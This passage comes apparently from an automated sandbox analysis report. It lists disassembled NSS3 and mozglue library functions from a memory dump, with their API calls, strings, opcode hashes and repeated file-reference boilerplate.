Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CA35F34,00000A20,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA449F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CA35F34,00000A20,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA44A06
free.MOZGLUE(?,?,?,?,?,6CA35F34,00000A20), ref: 6CA44A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CA35F34,00000A20), ref: 6CA44A1C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: b6ff772d92881e124d186b50c15f5da414aec918cc94d45ada18f30459d48039
Instruction ID: be163061df7e3f1aeb4644072e336a1d39dbf54af5bf00ff499c782df4b75ee3
Opcode Fuzzy Hash: b6ff772d92881e124d186b50c15f5da414aec918cc94d45ada18f30459d48039
Instruction Fuzzy Hash: 2D014CB69001049BCB00DF69DC84C967BBCAF992483088065E909CB702F731E959CBA1

Function 6CAB0930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6CAB0C83), ref: 6CAB094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CAB0C83), ref: 6CAB0974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0983
_PR_MD_UNLOCK.NSS3(?,?,6CAB0C83), ref: 6CAB099F
OutputDebugStringA.KERNEL32(?,?,6CAB0C83), ref: 6CAB09B2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: cdcf8dd59cc3c354e3778905bd6b8047c593d296e7279e319891d2ac0accdca8
Instruction ID: 1716bdca9c020ef5b9563aa8c02cd9ad774e919a05a5941d560c410810c984cf
Opcode Fuzzy Hash: cdcf8dd59cc3c354e3778905bd6b8047c593d296e7279e319891d2ac0accdca8
Instruction Fuzzy Hash: 5B0157B43012808FDF08AF68CC49B553BBCBB6231CF0C4209F855A3652D735E480CA11

Function 6CAB7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CAB7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7C83
malloc.MOZGLUE(00000001), ref: 6CAB7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAB7C9F
PR_GetCurrentThread.NSS3 ref: 6CAB7CAD

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a65ce58e50d78e7ab111abc1b6916cc5ccf3a299c966f436af8109d073fc8180
Instruction ID: 1b14c3b464a11d8e7429ba2d6e91a5fcadf6f74f400e328c74820a6b5333026e
Opcode Fuzzy Hash: a65ce58e50d78e7ab111abc1b6916cc5ccf3a299c966f436af8109d073fc8180
Instruction Fuzzy Hash: CCF0C2B19102066BEB009F3A9D099577B5CEF02265B018439E809D3B00E734F158CAE5

Function 6CABADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CABA6D8), ref: 6CABAE0D
free.MOZGLUE(?), ref: 6CABAE14
DeleteCriticalSection.KERNEL32(6CABA6D8), ref: 6CABAE36
free.MOZGLUE(?), ref: 6CABAE3D
free.MOZGLUE(00000000,00000000,?,?,6CABA6D8), ref: 6CABAE47

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: d19d953a6ab01b98fe3550d26d266303b3ea445e745a33769eadecf143f7d30d
Instruction ID: b5493bfc466406619d4aba549c3cb037ca0b9e03da56512a005c2e4f528df6a3
Opcode Fuzzy Hash: d19d953a6ab01b98fe3550d26d266303b3ea445e745a33769eadecf143f7d30d
Instruction Fuzzy Hash: E0F0F675201B06ABCA24AF69E808917777DBF867787144328F13A83980D735F527C7D1

Function 6CA35990 Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA3599D

Part of subcall function 6C9B2D70: PK11_DestroyObject.NSS3(28438DC7,FF0477FF,6C9A99FF,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9B2D98
Part of subcall function 6C9B2D70: PORT_FreeArena_Util.NSS3(28438DC7,00000000,00000000,?,6C9CAE6C,00000000,?,00000000,?,6C9A99FF,?), ref: 6C9B2DBB

SECKEY_DestroyPrivateKey.NSS3 ref: 6CA359AB

Part of subcall function 6C9B2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C9B2D3C
Part of subcall function 6C9B2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9B2D5F

PR_DestroyRWLock.NSS3 ref: 6CA359B9
PK11_FreeSymKey.NSS3(?), ref: 6CA359DC
PK11_FreeSymKey.NSS3 ref: 6CA359EA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Destroy$FreeK11_$Arena_ObjectUtil$LockPrivatePublic
String ID:
API String ID: 33988338-0
Opcode ID: ac19d6ac6cd065865d74239dc877084fe90708224d3ee020260d29f3eb10846c
Instruction ID: 3e36e2851a9fb595660cac16ab3832490b767b5ee1eab689b5702bfde0a57653
Opcode Fuzzy Hash: ac19d6ac6cd065865d74239dc877084fe90708224d3ee020260d29f3eb10846c
Instruction Fuzzy Hash: 76F062A1F26B8557FE019B65DD09F56337CBBB620CB045329A80863621FB75E1E88141

Function 6C947C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C947D35

Strings

database corruption, xrefs: 6C947D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C947D13, 6C947D1F, 6C947D47, 6C947D53, 6C947D5F
%s at line %d of [%.10s], xrefs: 6C947D2E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: d8653614f81e61f5ea5e912772bd23ae4f1b2451031dc191235769059e926eb0
Instruction ID: d021028b2db2e3500deab1607cdad1d55054625f035e10c7dda46e4bac9d7fa2
Opcode Fuzzy Hash: d8653614f81e61f5ea5e912772bd23ae4f1b2451031dc191235769059e926eb0
Instruction Fuzzy Hash: 63310771E042299BC710CF9DC8809BEB7F5FF48309B598196E448B7B86E271D851C7B0

Function 6C936C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C936D36

Strings

database corruption, xrefs: 6C936D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C936D20
%s at line %d of [%.10s], xrefs: 6C936D2F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3a94c65fe2d571113a61d9ac4d54a36633ddc3dd0ce2552c562480050c74fd6d
Instruction ID: 1aeeea0b231aea10394156e75d42ab44b77514e2f3780cffffd5e41355aad730
Opcode Fuzzy Hash: 3a94c65fe2d571113a61d9ac4d54a36633ddc3dd0ce2552c562480050c74fd6d
Instruction Fuzzy Hash: CF2100316003159BC311CE1AD841B5AB7F6BF94308F14862CD86D9BF51E770F988C7A2

Function 6CA6CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CA6CC7B), ref: 6CA6CD7A
Part of subcall function 6CA6CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA6CD8E
Part of subcall function 6CA6CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA6CDA5
Part of subcall function 6CA6CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA6CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CA6CCB5
memcpy.VCRUNTIME140(6CB014F4,6CB002AC,00000090), ref: 6CA6CCD3
memcpy.VCRUNTIME140(6CB01588,6CB002AC,00000090), ref: 6CA6CD2B

Part of subcall function 6C989AC0: socket.WSOCK32(?,00000017,6C9899BE), ref: 6C989AE6
Part of subcall function 6C989AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C9899BE), ref: 6C989AFC

Part of subcall function 6C990590: closesocket.WSOCK32(6C989A8F,?,?,6C989A8F,00000000), ref: 6C990597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CA6CCB0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 63d9409a1ffd31080c059aed614ba072f9051e9ebd94a1a73c6b9bbea5257e79
Instruction ID: 17f5b4f128d8dd0db06b89f5ea78e155d0d3738834f0ce2a9b19b697bc9f45c8
Opcode Fuzzy Hash: 63d9409a1ffd31080c059aed614ba072f9051e9ebd94a1a73c6b9bbea5257e79
Instruction Fuzzy Hash: E81154B1B012405FDB089F5E98467463ABCD76671CF1C152EE506AFB41EB71D8844BD1

Function 6C92A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA7C3A2,?,?,00000000,00000000), ref: 6CA5A528
Part of subcall function 6CA5A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA5A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92A94F

Strings

database corruption, xrefs: 6C92A943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92A939
%s at line %d of [%.10s], xrefs: 6C92A948

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: fb658ded962533f23b45b273b1d09a5a60a823c69ad9276ee85a2151ea2590ee
Instruction ID: a8299df0f4bb59e60ee1bb8a64f5b96395b08136eddfe6912ba53a6ad9d25b4b
Opcode Fuzzy Hash: fb658ded962533f23b45b273b1d09a5a60a823c69ad9276ee85a2151ea2590ee
Instruction Fuzzy Hash: A7014E31F002045FD710C666EC11B5BB7F5AB44308F46453DE99957A40DB35EC0997A1

Function 6C9B8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C9C0715), ref: 6C9B8859
PR_NewLock.NSS3 ref: 6C9B8874

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C9B888D

Strings

NSS, xrefs: 6C9B8887

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 6880577403d971c22dd1646ac80980ea0309966b7172c6a08cf2fbef1f7c0c7a
Instruction ID: 8bafc4538f6b751916da8ae35bb652dd127768fa702f66372c82be83566bae31
Opcode Fuzzy Hash: 6880577403d971c22dd1646ac80980ea0309966b7172c6a08cf2fbef1f7c0c7a
Instruction Fuzzy Hash: DDF0F662E4122133F31022696C0AB87349C9F7A75EF040031E91CB3F82EA62D50C82F7

Function 6CA6B860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000116BB,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,6CA5A4E2), ref: 6CA6B8C6

Strings

database corruption, xrefs: 6CA6B8BA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA6B8B0
%s at line %d of [%.10s], xrefs: 6CA6B8BF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 76939fc2a7f5ae071c6f1e71bc5792425fd2d404de0c6ce094dcdfeb158da061
Instruction ID: 1611730ce7b0624fe03b4c38fc5dd3803e88cac499402c03ae21e68ae25b87a9
Opcode Fuzzy Hash: 76939fc2a7f5ae071c6f1e71bc5792425fd2d404de0c6ce094dcdfeb158da061
Instruction Fuzzy Hash: E50126229482606DD3108B6A6D84DA37BB8EF45215B4B02C9FA449B7B3E212D841C3A1

Function 6C937F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9381DF
LeaveCriticalSection.KERNEL32(?), ref: 6C938239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C938255
sqlite3_free.NSS3(00000000), ref: 6C938260

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 56c0238f470bc355ef7b642cd3ccc945bbcd188225cacef993ea9dd4e7f8fea8
Instruction ID: 52467427c17808587fb3185b2168422ed2ff673d3eae6c0434faa0da5e2e1fb0
Opcode Fuzzy Hash: 56c0238f470bc355ef7b642cd3ccc945bbcd188225cacef993ea9dd4e7f8fea8
Instruction Fuzzy Hash: 9A91AB71B41228CBEB0CCFE0E8587ADB7B9BB16308F14502ED41AABA44D739D945CB85

Function 6CA11D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA11D8F

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CA11DA6

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA11E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA11ED0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 0cc51ce9b9c69ca06d387ec017254d671d755159bbc1368541e4d03594272725
Instruction ID: fc54327ba10a65086e4aad11b62e498f4732c602ccaca8c2da576cca17587035
Opcode Fuzzy Hash: 0cc51ce9b9c69ca06d387ec017254d671d755159bbc1368541e4d03594272725
Instruction Fuzzy Hash: A1516A75A04209CFDB00CF94D884BBEB7B6BF55348F144129E9199BB90D731E989CB90

Function 6C99C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C99CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C99CB4B
sqlite3_free.NSS3 ref: 6C99CB70
sqlite3_result_error_nomem.NSS3 ref: 6C99CB99

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

